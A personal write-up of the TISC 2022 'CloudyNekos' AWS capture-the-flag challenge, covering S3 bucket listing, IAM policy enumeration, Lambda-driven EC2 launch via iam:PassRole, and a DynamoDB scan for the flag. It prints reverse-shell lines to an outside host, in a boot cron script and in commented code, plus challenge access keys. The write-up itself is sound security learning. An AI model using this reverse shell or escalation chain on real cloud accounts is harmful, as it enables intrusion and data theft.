Introduction

TISC (The InfoSecurity Challenge) is an online challenge organized by CSIT since 2020. In this year’s iteration, I managed to complete up till level 5, finishing in the top 30. I thought I’d do a write-up on one of challenges given that my solution was a little different from others I’ve spoken to.

Challenge Description


Challenge 4B: CloudyNekos

Level 4 was a split stage where participants could choose to do either a cloud or reversing challenge to proceed to the next level. I chose cloud.

Challenge Description

The challenge provides us with a link as the starting point. It’s a simple single page static site. Nothing much to do except view the source. In it, we find clues that point us to the next step.

<div class="p-5 text-center bg-light">
    <!-- Passcode -->
    <h1 class="mb-3">Cats rule the world</h1>
    <!-- Passcode -->
    <!-- 
      ----- Completed -----
      * Configure CloudFront to use the bucket - palindromecloudynekos as the origin
      
      ----- TODO -----
      * Configure custom header referrer and enforce S3 bucket to only accept that particular header
      * Secure all object access
    -->
    <h4 class="mb-3">—ฅ/ᐠ. ̫ .ᐟ\ฅ —</h4>
</div>   

From the above, we can determine that we are suppose to access an the AWS S3 Bucket palindromecloudynekos and it seems like it has been misconfigured to allow access to all. I already had AWS CLI installed and configured, so this step was pretty simple. We can list the contents of the bucket with the following command.

$ aws s3 ls s3://palindromecloudynekos
                           PRE api/
                           PRE img/
2022-08-23 21:16:20         34 error.html
2022-08-23 21:16:20       2257 index.html

From the above, the api directory is particularly suspicious. Inside, we find notes.txt and download it.

$ aws s3 ls s3://palindromecloudynekos/api/
2022-08-23 21:16:20        432 notes.txt
$ aws s3 cp s3://palindromecloudynekos/api/notes.txt ./
download: s3://palindromecloudynekos/api/notes.txt to ./notes.txt
$ cat notes.txt
# Neko Access System Invocation Notes

Invoke with the passcode in the header "x-cat-header". The passcode is found on the cloudfront site, all lower caps and separated using underscore.

https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent

All EC2 computing instances should be tagged with the key: 'agent' and the value set to your username. Otherwise, the antivirus cleaner will wipe out the resources.

Visiting the link we get the following message:

$ curl https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent

{"Message": "Error encountered. Please raise a support ticket through your relational team lead to resolve the issue."}

Ok… now let’s try with the x-cat-header and the passcode cats_rule_the_world.

$ curl -H "x-cat-header: cats_rule_the_world" https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent
{"Message": "Welcome there agent! Use the credentials wisely! It should be live for the next 120 minutes! Our antivirus will wipe them out and the associated resources after the expected time usage.", "Access_Key": "AKIAQYDFBGMS3LI7EAD3", "Secret_Key": "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"}

With the above info together with the challenge description, we can deduce that we are supposed to spin up an EC2 instance with the provided credentials. We can use profiles to configure our CLI with an additional set of credentials. We assume the region to be ap-southeast-1 since it’s a Singapore CTF, but this assumption will be verified later.

$ aws configure --profile TISC
AWS Access Key ID [None]: AKIAQYDFBGMS3LI7EAD3
AWS Secret Access Key [None]: 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
Default region name [None]: ap-southeast-1          
Default output format [None]:   

Now we just need to spin up an EC2 instance right? Not so fast… Reading the docs we can figure out that we need to use the aws ec2 run-instances command to spin up instances. But our progress comes to a halt pretty quickly with several obstacles in our way.

  1. We need an ImageId to run the command.
    Fine. Let’s grab a random one.

  2. Another error, there is no default VPC for our user.
    Ok what? Back to the docs.

    The following rules apply:

    [EC2-VPC] If you don’t specify a subnet ID, we choose a default subnet from your default VPC for you. If you don’t have a default VPC, you must specify a subnet ID in the request.

    [EC2-Classic] If don’t specify an Availability Zone, we choose one for you.

    Some instance types must be launched into a VPC. If you do not have a default VPC, or if you do not specify a subnet ID, the request fails. For more information, see Instance types available only in a VPC .

    [EC2-VPC] All instances have a network interface with a primary private IPv4 address. If you don’t specify this address, we choose one from the IPv4 range of your subnet.

    Not all instance types support IPv6 addresses. For more information, see Instance types .

    If you don’t specify a security group ID, we use the default security group. For more information, see Security groups .

    If any of the AMIs have a product code attached for which the user has not subscribed, the request fails.

    Ok let’s find out what subnets there are and try again.

     $ aws ec2 describe-subnets --profile TISC
     {
         "Subnets": [
             {
                 "MapPublicIpOnLaunch": true, 
                 "AvailabilityZoneId": "apse1-az2", 
                 "Tags": [
                     {
                         "Value": "palindrome", 
                         "Key": "Name"
                     }
                 ], 
                 "AvailableIpAddressCount": 16379, 
                 "DefaultForAz": false, 
                 "SubnetArn": "arn:aws:ec2:ap-southeast-1:051751498533:subnet/subnet-0aa6ecdf900166741", 
                 "Ipv6CidrBlockAssociationSet": [], 
                 "VpcId": "vpc-095cd9241e386169d", 
                 "MapCustomerOwnedIpOnLaunch": false, 
                 "AvailabilityZone": "ap-southeast-1a", 
                 "SubnetId": "subnet-0aa6ecdf900166741", 
                 "OwnerId": "051751498533", 
                 "CidrBlock": "10.0.0.0/18", 
                 "State": "available", 
                 "AssignIpv6AddressOnCreation": false
             }
         ]
     }
    
    
  3. What do you mean I’m unauthorised.

$ aws ec2 run-instances --image-id ami-0f74c08b8b5effa56 --subnet-id subnet-0aa6ecdf900166741 --profile TISC

An error occurred (UnauthorizedOperation) when calling the RunInstances operation: You are not authorized to perform this operation. Encoded authorization failure message: 9X5IYdqCXPOjP2WsqxdaWNReUKATk3IVIYHt6bWfFXfQLRUFWQ3P8qWYGLeQ4uc-k8ovuTe6r2hPY5_FMnPO1I-PyDZJALC51I5fHs18zILY2mAXIesWGLTuzh-FgDN8hdPsZbtG-1ROy1UPFpq70VrrmMhH31a8ZPXQ5tYxFnutExvwrCHc0WV7SpGz2do9UOWdIlMGdezAkvWG9IqIEfekS6DpmL-xmwmna0kPU-4-ppR38HJAeKjdrIvT8hXxjL6en_AVpRjwM_bgi8_s_Bl2R1ohnIWapAUsijsrWe6-iHOtk6PLs1xI4rDWcev5jzDam7M-EvaDVDmnCqPU9vpTA-KNJBfNeo_I16AAdmQPAlD8IwTRHsJo9ZRB3p2YQoowofcAFpkcIXCKFKfpBq-ykILq9dbM8XVNfP32NjkKezrrMQEvFRJ7gHL3DJUsrX1aYS9d0ZVnFAy3pU14Y9niRU1qARWojJySYwz6swkIlY4JP-EaUypeMiB0kaee82VA2kiGZXvviwdHlqxVVH84CIuQFLop3LzBEDJ8aY6KN2nlvggRMCp-9bh3CEPmLim7BH8T9BvgZSftrs9Z7XeJkd7gQ-40n5w6ndxdvrWy1XmYp4RG7Xl145zA7MlM5sMqVQyiatqENsIP29H9cKZDsESDjb8UEi6tUfYz-HFyU2h-L-j0Pfr9gKpy2Wf39QBIokfC

Ok back to enumerating. At this point, I looked around online for writeups of other cloud challenges to see if there were any commands that could help. Unfortunately, I wasn’t able to execute most of them cause THERE WAS NO PERMS. I then tried some tools on github, but none of the repos I cloned produced good results. So I resorted to a simple script I made.

import os 

# array of all commands I copy pasted from AWS EC2 Docs
c=['advertise-byoip-cidr','allocate-address','allocate-hosts',...,'wait','withdraw-byoip-cidr']

for i in c:
    base_command = 'aws ec2 --profile TISC '
    command = base_command + i
    os.system(f'echo "{command}"')
    os.system(f'{command}')
    os.system('echo -e "\n"')

Genius I know… I repeated this for several other services other than EC2. After the CTF, I learnt that some other people used pacu. Regardless, we pretty much got the same results, I just had more personal touch.

Some of the more interesting results that came from it were.

$ aws sts get-caller-identity --profile TISC
{
    "Account": "051751498533", 
    "UserId": "AIDAQYDFBGMS6RL4KQ4ZU", 
    "Arn": "arn:aws:iam::051751498533:user/user-b7def4a2c289478ba30912da680787a7"
}

We get our username from here. This is important because we need to tag the EC2 instance with our username.

$ aws ec2 describe-security-groups --profile TISC
{
    "SecurityGroups": [
        {
            "IpPermissionsEgress": [
                {
                    "IpProtocol": "-1", 
                    "PrefixListIds": [], 
                    "IpRanges": [
                        {
                            "CidrIp": "0.0.0.0/0"
                        }
                    ], 
                    "UserIdGroupPairs": [], 
                    "Ipv6Ranges": []
                }
            ], 
            "Description": "Access to c2 infra", 
            "IpPermissions": [
                {
                    "PrefixListIds": [], 
                    "FromPort": 0, 
                    "IpRanges": [
                        {
                            "CidrIp": "0.0.0.0/0"
                        }
                    ], 
                    "ToPort": 65535, 
                    "IpProtocol": "tcp", 
                    "UserIdGroupPairs": [], 
                    "Ipv6Ranges": []
                }
            ], 
            "GroupName": "default-agents-sg", 
            "VpcId": "vpc-095cd9241e386169d", 
            "OwnerId": "051751498533", 
            "GroupId": "sg-047c958320ee832f0"
        }, ...
    ]
}

From the above, we can deduce that the EC2 instance will be used to access other resources in the VPC which would presumably get us our flag.

$ aws ec2 describe-route-tables --profile TISC
{
    "RouteTables": [
        {
            "Associations": [
                {
                    "SubnetId": "subnet-0aa6ecdf900166741", 
                    "AssociationState": {
                        "State": "associated"
                    }, 
                    "RouteTableAssociationId": "rtbassoc-008d1bc16737a4873", 
                    "Main": false, 
                    "RouteTableId": "rtb-0cc80fc5af7c8470c"
                }
            ], 
            "RouteTableId": "rtb-0cc80fc5af7c8470c", 
            "VpcId": "vpc-095cd9241e386169d", 
            "PropagatingVgws": [], 
            "Tags": [
                {
                    "Value": "palindrome", 
                    "Key": "Name"
                }
            ], 
            "Routes": [
                {
                    "GatewayId": "local", 
                    "DestinationCidrBlock": "10.0.0.0/16", 
                    "State": "active", 
                    "Origin": "CreateRouteTable"
                }, 
                {
                    "GatewayId": "igw-03460d3a3a232502d", 
                    "DestinationCidrBlock": "0.0.0.0/0", 
                    "State": "active", 
                    "Origin": "CreateRoute"
                }
            ], 
            "OwnerId": "051751498533"
        }, 
        ...
    ]
}


roles:
{
    "Roles": [
        {
            "Description": "Provides AWS Backup permission to create backups and perform restores on your behalf across AWS services", 
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17", 
                "Statement": [
                    {
                        "Action": "sts:AssumeRole", 
                        "Effect": "Allow", 
                        "Principal": {
                            "Service": "backup.amazonaws.com"
                        }
                    }
                ]
            }, 
            "MaxSessionDuration": 3600, 
            "RoleId": "AROAQYDFBGMSZL3H3GO7H", 
            "CreateDate": "2022-04-04T08:49:38Z", 
            "RoleName": "AWSBackupDefaultServiceRole", 
            "Path": "/service-role/", 
            "Arn": "arn:aws:iam::051751498533:role/service-role/AWSBackupDefaultServiceRole"
        }, 

        ...
        a bunch of other default roles here
        ...

        {
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17", 
                "Statement": [
                    {
                        "Action": "sts:AssumeRole", 
                        "Effect": "Allow", 
                        "Principal": {
                            "Service": "ec2.amazonaws.com"
                        }
                    }
                ]
            }, 
            "MaxSessionDuration": 3600, 
            "RoleId": "AROAQYDFBGMSYSEMEVAEH", 
            "CreateDate": "2022-07-22T09:29:34Z", 
            "RoleName": "ec2_agent_role", 
            "Path": "/", 
            "Arn": "arn:aws:iam::051751498533:role/ec2_agent_role"
        }, 
        {
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17", 
                "Statement": [
                    {
                        "Action": "sts:AssumeRole", 
                        "Effect": "Allow", 
                        "Principal": {
                            "Service": "lambda.amazonaws.com"
                        }
                    }
                ]
            }, 
            "MaxSessionDuration": 3600, 
            "RoleId": "AROAQYDFBGMS2NDQR5JSE", 
            "CreateDate": "2022-07-22T09:29:34Z", 
            "RoleName": "lambda_agent_development_role", 
            "Path": "/", 
            "Arn": "arn:aws:iam::051751498533:role/lambda_agent_development_role"
        }, 
        {
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17", 
                "Statement": [
                    {
                        "Action": "sts:AssumeRole", 
                        "Effect": "Allow", 
                        "Principal": {
                            "Service": "lambda.amazonaws.com"
                        }
                    }
                ]
            }, 
            "MaxSessionDuration": 3600, 
            "RoleId": "AROAQYDFBGMSTH7VQVGQC", 
            "CreateDate": "2022-07-22T09:29:35Z", 
            "RoleName": "lambda_agent_webservice_role", 
            "Path": "/", 
            "Arn": "arn:aws:iam::051751498533:role/lambda_agent_webservice_role"
        }, 
        {
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17", 
                "Statement": [
                    {
                        "Action": "sts:AssumeRole", 
                        "Effect": "Allow", 
                        "Principal": {
                            "Service": "lambda.amazonaws.com"
                        }
                    }
                ]
            }, 
            "MaxSessionDuration": 3600, 
            "RoleId": "AROAQYDFBGMSUI3AJILSK", 
            "CreateDate": "2022-07-22T09:29:34Z", 
            "RoleName": "lambda_cleaner_service_role", 
            "Path": "/", 
            "Arn": "arn:aws:iam::051751498533:role/lambda_cleaner_service_role"
        }
    ]
}

The GatewayId for our VPC starting with igw-xxxx tells us that it has internet access. But what’s more interesting at this stage is the roles. We have 4 interesting roles.

  1. ec2_agent_role
  2. lambda_agent_development_role
  3. lambda_agent_webservice_role
  4. lambda_cleaner_service_role

We can safely assume the cleaner service role is the anti-virus and the ec2_agent_role is our desired role. But what about the other 2? Why the sudden mention of lambda services. I went on enumerate commands on lambda without any useful results. My attempts at spinning up my own lambda function failed due to the lack of perms (again…). My breakthrough came when I realised we could use aws iam get-policy to retrieve more information about the roles.

$ aws iam get-policy --policy-arn arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role --profile TISC
{
    "Policy": {
        "PolicyName": "iam_policy_for_ec2_agent_role", 
        "Description": "AWS IAM Policy for EC2 agent node", 
        "PermissionsBoundaryUsageCount": 0, 
        "CreateDate": "2022-07-22T09:29:34Z", 
        "AttachmentCount": 1, 
        "IsAttachable": true, 
        "PolicyId": "ANPAQYDFBGMSUUGDZFFBM", 
        "DefaultVersionId": "v1", 
        "Path": "/", 
        "Arn": "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role", 
        "UpdateDate": "2022-07-22T09:29:34Z"
    }
}

$ aws iam get-policy --policy-arn arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role --profile TISC
{
    "Policy": {
        "PolicyName": "iam_policy_for_lambda_agent_development_role", 
        "Description": "AWS IAM Policy for Lambda agent development service", 
        "PermissionsBoundaryUsageCount": 0, 
        "CreateDate": "2022-07-22T09:29:36Z", 
        "AttachmentCount": 1, 
        "IsAttachable": true, 
        "PolicyId": "ANPAQYDFBGMS2XASGX3JS", 
        "DefaultVersionId": "v2", 
        "Path": "/", 
        "Arn": "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role", 
        "UpdateDate": "2022-08-23T13:16:26Z"
    }
}


$ aws iam get-policy --policy-arn arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_webservice_role --profile TISC
{
    "Policy": {
        "PolicyName": "iam_policy_for_lambda_agent_webservice_role", 
        "Description": "AWS IAM Policy for Lambda agent webservice", 
        "PermissionsBoundaryUsageCount": 0, 
        "CreateDate": "2022-07-22T09:30:07Z", 
        "AttachmentCount": 1, 
        "IsAttachable": true, 
        "PolicyId": "ANPAQYDFBGMS4LEXALP57", 
        "DefaultVersionId": "v1", 
        "Path": "/", 
        "Arn": "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_webservice_role", 
        "UpdateDate": "2022-07-22T09:30:07Z"
    }
}


$ aws iam get-policy --policy-arn arn:aws:iam::051751498533:policy/iam_policy_for_lambda_cleaner_service_role --profile TISC
{
    "Policy": {
        "PolicyName": "iam_policy_for_lambda_cleaner_service_role", 
        "Description": "AWS IAM Policy for Lambda cleaner service", 
        "PermissionsBoundaryUsageCount": 0, 
        "CreateDate": "2022-07-22T09:29:34Z", 
        "AttachmentCount": 1, 
        "IsAttachable": true, 
        "PolicyId": "ANPAQYDFBGMSX4IXN7D2A", 
        "DefaultVersionId": "v1", 
        "Path": "/", 
        "Arn": "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_cleaner_service_role", 
        "UpdateDate": "2022-07-22T09:29:34Z"
    }
}

But even with the policy arn, we couldn’t do much since well.. you guessed it.. we didn’t have perms. It was only after I listed all 4 roles did I notice a discrepancy with the iam_policy_for_lambda_agent_development_role. Unlike the others, it has DefaultVersionId: v2. Hmm.. What’s with the change? This probed me to go back to the docs to find our how to retrieve previous versions. We can do so with aws iam get-policy-version. It was here I found that viewing policy versions also gave us info about the policy. Therefore, we have the following information.

$ aws iam get-policy-version --policy-arn arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role --version-id v1 --profile TISC
{
    "PolicyVersion": {
        "CreateDate": "2022-07-22T09:29:34Z", 
        "VersionId": "v1", 
        "Document": {
            "Version": "2012-10-17", 
            "Statement": [
                {
                    "Action": [
                        "dynamodb:DescribeTable", 
                        "dynamodb:ListTables", 
                        "dynamodb:Scan", 
                        "dynamodb:Query"
                    ], 
                    "Resource": "*", 
                    "Effect": "Allow", 
                    "Sid": "VisualEditor0"
                }
            ]
        }, 
        "IsDefaultVersion": true
    }
}


$ aws iam get-policy-version --policy-arn arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role --version-id v2 --profile TISC
{
    "PolicyVersion": {
        "CreateDate": "2022-08-23T13:16:26Z", 
        "VersionId": "v2", 
        "Document": {
            "Version": "2012-10-17", 
            "Statement": [
                {
                    "Action": [
                        "ec2:RunInstances", 
                        "ec2:CreateVolume", 
                        "ec2:CreateTags"
                    ], 
                    "Resource": "*", 
                    "Effect": "Allow"
                }, 
                {
                    "Action": [
                        "lambda:GetFunction"
                    ], 
                    "Resource": "arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service", 
                    "Effect": "Allow"
                }, 
                {
                    "Action": [
                        "iam:PassRole"
                    ], 
                    "Resource": "arn:aws:iam::051751498533:role/ec2_agent_role", 
                    "Effect": "Allow", 
                    "Sid": "VisualEditor2"
                }
            ]
        }, 
        "IsDefaultVersion": true
    }
}

$ aws iam get-policy-version --policy-arn arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_webservice_role --version-id v1 --profile TISC
{
    "PolicyVersion": {
        "CreateDate": "2022-07-22T09:30:07Z", 
        "VersionId": "v1", 
        "Document": {
            "Version": "2012-10-17", 
            "Statement": [
                {
                    "Action": [
                        "logs:CreateLogGroup", 
                        "logs:CreateLogStream", 
                        "logs:PutLogEvents"
                    ], 
                    "Resource": "arn:aws:logs:ap-southeast-1:051751498533:log-group:/aws/lambda/agent-webservice:*", 
                    "Effect": "Allow"
                }, 
                {
                    "Action": [
                        "iam:CreateUser", 
                        "iam:CreateAccessKey", 
                        "iam:CreatePolicy", 
                        "iam:AttachUserPolicy"
                    ], 
                    "Resource": "*", 
                    "Effect": "Allow"
                }
            ]
        }, 
        "IsDefaultVersion": true
    }

From the above, we can deduce that

  1. lambda_agent_webservice_role is the endpoint that creates our STS creds.
  2. The webservice has permissions to create and attach a user policy. Perhaps our unprivileged user also has a policy?
  3. We can obtain the ec2_agent_role via the lambda function since it has the iam:PassRole action configured

Back to the docs to resolve pointer 2. With our username we retrieved earlier, we find can retrieve the following.

$ aws iam list-attached-user-policies --user-name user-b7def4a2c289478ba30912da680787a7 --profile TISC
{
    "AttachedPolicies": [
        {
            "PolicyName": "user-b7def4a2c289478ba30912da680787a7", 
            "PolicyArn": "arn:aws:iam::051751498533:policy/user-b7def4a2c289478ba30912da680787a7"
        }
    ]
}

$ aws iam get-policy-version --policy-arn arn:aws:iam::051751498533:policy/user-b7def4a2c289478ba30912da680787a7 --version-id v1 --profile TISC
{
    "PolicyVersion": {
        "CreateDate": "2022-09-02T15:25:14Z", 
        "VersionId": "v1", 
        "Document": {
            "Version": "2012-10-17", 
            "Statement": [
                {
                    "Action": [
                        "iam:GetPolicy", 
                        "iam:GetPolicyVersion", 
                        "iam:ListAttachedRolePolicies", 
                        "iam:ListRoles"
                    ], 
                    "Resource": "*", 
                    "Effect": "Allow", 
                    "Sid": "VisualEditor0"
                }, 
                {
                    "Action": [
                        "lambda:CreateFunction", 
                        "lambda:InvokeFunction", 
                        "lambda:GetFunction"
                    ], 
                    "Resource": "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*", 
                    "Effect": "Allow", 
                    "Sid": "VisualEditor1"
                }, 
                {
                    "Action": [
                        "iam:ListAttachedUserPolicies"
                    ], 
                    "Resource": "arn:aws:iam::051751498533:user/${aws:username}", 
                    "Effect": "Allow", 
                    "Sid": "VisualEditor2"
                }, 
                {
                    "Action": [
                        "iam:PassRole"
                    ], 
                    "Resource": "arn:aws:iam::051751498533:role/lambda_agent_development_role", 
                    "Effect": "Allow", 
                    "Sid": "VisualEditor3"
                }, 
                {
                    "Action": [
                        "ec2:DescribeVpcs", 
                        "ec2:DescribeRegions", 
                        "ec2:DescribeSubnets", 
                        "ec2:DescribeRouteTables", 
                        "ec2:DescribeSecurityGroups", 
                        "ec2:DescribeInstanceTypes", 
                        "iam:ListInstanceProfiles"
                    ], 
                    "Resource": "*", 
                    "Effect": "Allow", 
                    "Sid": "VisualEditor4"
                }
            ]
        }, 
        "IsDefaultVersion": true
    }
}

Yes!! Now we at least know our own permissions so we no longer need to mindlessly enumerate. We also notice that we have permissions to create, invoke and get lambda functions. We’re getting somewhere. Additionally, we also figured out why create function wasn’t working - the function name needed to start with your username.

Side note: Right now I’m 650+ lines in and it’s 12am and I need to wake up early tomorrow. So I’m gonna start skipping a lot of random hurdles I faced. But it did take me a day or 2 from this point on to solve the challenge.

Ok let’s take a step back to analyze what we need to do. We now know

  1. The challenge description and notes point towards spinning up an EC2 instance.
  2. We have to use a lambda function to spin up and EC2 instance.
  3. There’s something that lies in the VPC which we need to access via the EC2.
  4. We do not have permissions to use AWS KMS which is required to generate and use keys to ssh into EC2 instances.
  5. Scouring the internet for writeups and docs for days did tell us that we can upload user scripts via –user-data which can help us open a reverse shell.

With some googling around to find out how to write and deploy a lambda function, I managed to come up with the following script to spin up an EC2 instance. I purposely left in all the random stuff I tried as well. I will explain them shortly.

def lambda_handler(event, context):
    import boto3
    region = 'ap-southeast-1'
    client = boto3.client('ec2', region_name=region)
    # with open('/tmp/shell.sh', 'w') as f:
    #     f.write('#!/bin/bash\n')
    #     f.write('/bin/bash -l > /dev/tcp/35.209.142.185/12321 0<&1 2>&1')
        # f.close()
    import urllib3
    http = urllib3.PoolManager()
    response = client.run_instances(
        ImageId='ami-0aade705feac64cc5',
        TagSpecifications=[{
            'ResourceType':
            'instance',
            'Tags': [{
                'Key': 'agent',
                'Value': 'user-b7def4a2c289478ba30912da680787a7'
            }]
        }],
        InstanceType="t2.micro",
        MaxCount=1,
        MinCount=1,
        UserData='file:///tmp/shell.sh',
        # SecurityGroupIds=['sg-0521a956628208ccc'],
        IamInstanceProfile={
            'Arn':
            'arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile'
            # 'Name':'tisc-test'
        },
        NetworkInterfaces=[{
            'AssociatePublicIpAddress': True,
            'DeviceIndex': 0,
            # 'Ipv6AddressCount': 1,
            'SubnetId': 'subnet-0aa6ecdf900166741',

        }])
    print(response)
    lam = boto3.client('lambda', region_name=region)
    # this turned out to be useless
    response = lam.get_function(FunctionName='cat-service')
    print('hello') # debug statement heh
    # the response contains a link to download the function which is just a script template to spin up ec2 instances. 
    print(str(response))

We can deploy the function with

$ rm code.zip && zip -r code.zip ec2.py && aws lambda create-function --role arn:aws:iam::051751498533:role/lambda_agent_development_role --handler ec2.lambda_handler --package-type Zip --zip-file fileb://code.zip --runtime python3.8 --timeout 100 --profile tisc --function-name user-b7def4a2c289478ba30912da680787a7-test

$ aws lambda invoke --profile TISC --function-name user-b7def4a2c289478ba30912da680787a7-test test --log-type Tail --query 'LogResult' --output text |  base64 -d

Ok now the explaining part. As you can see, from my deployment command that I got frustrated having to continually zip new scripts and just made it all into one command. So yea, I did deploy a lot of functions. Why? Well… I did try a lot of things that didn’t work out such as

  1. Reverse shell into the lambda function (other people managed to do it. I did not. Not entirely sure why)
  2. Open reverse shell with script supplied via user data (worked for others not for me). This was particularly hard to debug… and I wasn’t sure why it didn’t work. So I moved on to try other things.
  3. Referencing the script from within lambda itself
  4. VPC sharing. Not enough perms for that.
  5. Trying to generate a IPV4 address for the EC2 and using the user-data script to generate keys instead of opening shell.
  6. Cycling through a bunch of different AMIs cause even the template they provided didn’t specify.
  7. Recreate the policies and subnets on my aws account to debug what could possibly be going wrong. (did not find out what went wrong)

The solution that eventually worked for me was to create a custom AMI (the one in the script is the custom) that opens a reverse shell on boot. I’m too lazy to screenshot and document the steps required to create an AMI since I opted to use the web console. I just followed the docs. Essentially, what I did was

  1. Create and launch standard EC2 instance with ssh keys and everything
  2. SSH in and create a cronjob that opens a reverse shell. To do so,
    $ crontab -e 
    

    and write

    @reboot /start.sh
    

    Contents of start.sh

    /bin/bash -l > /dev/tcp/<ip>/12321 0<&1 2>&1
    
  3. Create an AMI from that instance
  4. Share that AMI with the account. Account ID can be found using aws sts get-caller-identity
  5. Reference that AMI in the lambda function deploy
  6. BOOM reverse shell

We already know the 4 commands that are available to us (I definitely did not nmap the whole network. oops…),

  1. DescribeTable
  2. ListTables
  3. Scan
  4. Query

List and describe tables are pretty self explanatory. But I did spent an hour or so trying to figure out how to use the query function. That was before I realized the scan function would reveal the flag. In sum, the following commands you need are,

$ aws dynamodb list-tables --region ap-southeast-1
{
    "TableNames": [
        "flag_db"
    ]
}

$ aws dynamodb scan --table-name flag_db --region ap-southeast-1
{
    "Count": 1, 
    "Items": [
        {
            "secret": {
                "S": "TISC{iT3_N0t_s0_C1oUdy}"
            }, 
            "name": {
                "S": "flag"
            }
        }
    ], 
    "ScannedCount": 1, 
    "ConsumedCapacity": null
}

Flag: TISC{iT3_N0t_s0_C1oUdy}

Conclusion

This challenge was very painful but I did learn a lot. Now time to go clear up all the nonsense I create on my aws account.